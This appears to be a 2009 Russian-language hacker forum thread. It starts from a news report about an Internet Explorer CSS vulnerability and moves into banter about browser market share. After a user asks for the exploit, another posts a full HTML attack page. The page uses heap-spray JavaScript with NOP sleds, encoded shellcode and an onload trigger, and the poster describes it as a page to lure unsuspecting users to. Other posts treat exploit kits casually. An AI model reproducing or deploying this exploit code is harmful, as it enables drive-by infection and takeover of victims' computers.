Просмотр полной версии : В Internet Explorer обнаружена новая уязвимость
В веб-браузере Internet Explorer обнаружена уязвимость, позволяющая злоумышленникам устанавливать на компьютере жертвы вредоносное ПО.
В веб-браузере Microsoft Internet Explorer вновь обнаружена «дыра» - на днях неизвестный хакер оставил информацию о новой уязвимости в электронной рассылке сервиса Bugtraq. Очередное «открытие» позволяет злоумышленникам устанавливать на машину пользователя трояны или вирусы.
Для того чтобы воспользоваться уязвимостью, хакерам необходимо привести жертву на сайт со специально подготовленным CSS-файлом, в котором записан код JavaScript для запуска необходимой программы.
Компания Symantec, известная своими антивирусными программными продуктами, уже успела исследовать слабое место в защите браузера от Microsoft. По ее данным, опасность затрагивает Internet Explorer шестой и седьмой версий, при этом пока вредоносный код срабатывает далеко не всегда. Информация о том, что «дыра» представляет опасность для пользователей IE8, пока подтверждения не получила.
Специалисты Symantec утверждают, что пока уязвимость не получила применения среди киберпреступников. Впрочем, это всего лишь вопрос времени: Internet Explorer является популярнейшей на сегодняшний день программой для веб-серфинга. По некоторым данным, сейчас на долю IE6 и IE7 приходится около 40% всего рынка браузеров.
«Для того чтобы минимизировать вероятность атаки, необходимо обновить свои антивирусы, выключить поддержку JavaScript и заходить только на те сайты, в безопасности которых вы уверены, - до тех пор, пока Microsoft не устранит уязвимость», - советуют эксперты Symantec.
http://newsland.ru/
жаль что неизвесный хакер не показал пример взлома ))
LiteMentaL
23.11.2009, 15:29
40% юзают ИЕ ? ахахахахах... да вы чё, кто эту парашу юзает... Только разве что в своих целях а для обычного серфа мозилла, опера или хром...
root_sashok
23.11.2009, 15:37
Даже больше 40%. Это статистика. Постепенно IE догоняет Firefox.
40% юзают ИЕ ? ахахахахах... да вы чё, кто эту парашу юзает... Только разве что в своих целях а для обычного серфа мозилла, опера или хром...
Если бы дело обстояло не так,то небыло бы в природе связок,и их бы не обновляли вообще.Половина пендосов сидят за лицушными окошками,и юзают онли ИЕ.
Godfather Bulan
23.11.2009, 16:32
В принципе ие8 достаточно неплоохо реализована. Достойная замен апредыдущим версиям. Но у меня нет желания переходить с оперы и исы на что-то другое... А дыры... дыры везде есть...
IE - это вообще сплошная уязвимость.
.-=:KiLLing:=-.
23.11.2009, 17:14
IE наверно только для VOC++ больше он вообще не нужен!
Больше популярность -> больше дыр. Фаерфокс это доказал.
X-RayBlade
23.11.2009, 17:27
Больше популярность -> больше дыр. Фаерфокс это доказал.
Зато они добросовестно их закрыли и закрывают по мере обнаружения новых :)
FALTONICK
23.11.2009, 18:25
40% юзают ИЕ ? ахахахахах... да вы чё, кто эту парашу юзает... Только разве что в своих целях а для обычного серфа мозилла, опера или хром...
улыбнул... посчитай сколько людей на винде сидят :rolleyes:
немного статистики
Согласно отчету компании Cenzic, на Firefox пришлось 44% всех обнаруженных за первое полугодие 2009 года «дыр» в браузерах. На втором месте оказался браузер Safari от компании Apple с 35% найденных уязвимостей, далее идут Microsoft Internet Explorer (15%) и Opera (6%). Авторы отчета, рассматривая ситуацию с безопасностью в интернете, отмечают, что на уязвимости браузеров приходится 8% интернет-угроз, на серверные уязвимости — 2%, ну а основные угрозы, целых 90%, исходят от веб-приложений.
Исследование также показало, что Sun Java, PHP и Apache продолжают оставаться в десятке лучших продавцов, которые при этом имеют самую высокую уязвимость (в первой половине 2009 года).
не когда не нравился осел популярность осла монополизация макрософта
GRADUSНик™
23.11.2009, 20:14
40% юзают ИЕ ? ахахахахах... да вы чё, кто эту парашу юзает... Только разве что в своих целях а для обычного серфа мозилла, опера или хром...
Их юзают те, кто незнает как установить альтернативный браузер :D :D :D
aka_zver
23.11.2009, 22:04
40% юзают ИЕ ? ахахахахах... да вы чё, кто эту парашу юзает... Только разве что в своих целях а для обычного серфа мозилла, опера или хром...
а связки на чём тестить ? ИЕ просто создан для этого)
White_Star
23.11.2009, 23:57
Их юзают те, кто незнает как установить альтернативный браузер :D :D :D
большинству,кто его использует,он устраивает,и они не видят смысла менять его..:)
ИЕ - браузер для домохозяек. На лисе и Опере сидят те, кто ЗНАЕТ, что такое интернет
40% юзают ИЕ ? ахахахахах... да вы чё, кто эту парашу юзает... Только разве что в своих целях а для обычного серфа мозилла, опера или хром...
Большое количиство чайников юзает ИЕ.Они просто не знают другие браузеры))
Как уже не раз говорили. Internet Explorer нужен только для того,что б скачать нормальный браузер.
Даже больше 40%. Это статистика. Постепенно IE догоняет Firefox.
ну скажите блин откуда такая статистика?
у меня ни на одном сайте IE не берет больше 20%... точнее цифру не помню но сам факт.
может по количеству инсталлов - это вполне реально, но толку что он установлен и не используется.
combatsxx
24.11.2009, 15:46
сплойт выложите))))
GamePr0graameR
24.11.2009, 16:05
vvs777, а какой у вас сайт? Там домохозяек много? :-) Все, кто не домохозяйки уже давно перешли на Firefox. А самые продвинутые - на оперу :-)
043nKRuT0y
24.11.2009, 19:22
Собственно сам сплоит (Стандартный документ куда нужно заманить наивного юзверя) :
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<HTML xmlns="http://www.w3.org/1999/xhtml">
<HEAD>
<script>
function load(){
var e;
e=document.getElementsByTagName("STYLE")[0];
e.outerHTML="1";
}
</script>
<STYLE type="text/css">
body{ overflow: scroll; margin: 0; }
</style>
<SCRIPT language="javascript">
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u01 78%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE %u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u 0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB 01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040 %uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u 808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC0 83%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7 %u6C61%u0063");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<4000; x++) memory[x] = block + shellcode;
</script>
</HEAD>
<BODY onload="load()">
</BODY>
</HTML>
Допущены синтаксические ошибки - видимо как защита от детей ...
GamePr0graameR
24.11.2009, 19:44
Обнаружена новая опасность для Internet Explorer
Найдена новая уязвимость в Internet Explorer
В Internet Explorer новая уязвимость
Обнаружена уязвимость в Internet Explorer 7
В Internet Explorer - новая уязвимость
Млин... решето а не браузер
З.Ы Это из "похожих тем"
043nKRuT0y
Авот *** это сплоит - на 6м ноль эффекта.
Походу это с секлаба, больше нигде не видел инфы....
Adekvatnyj
26.11.2009, 16:36
Да что вы говорите! By Firefox people штоли напечатано?
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot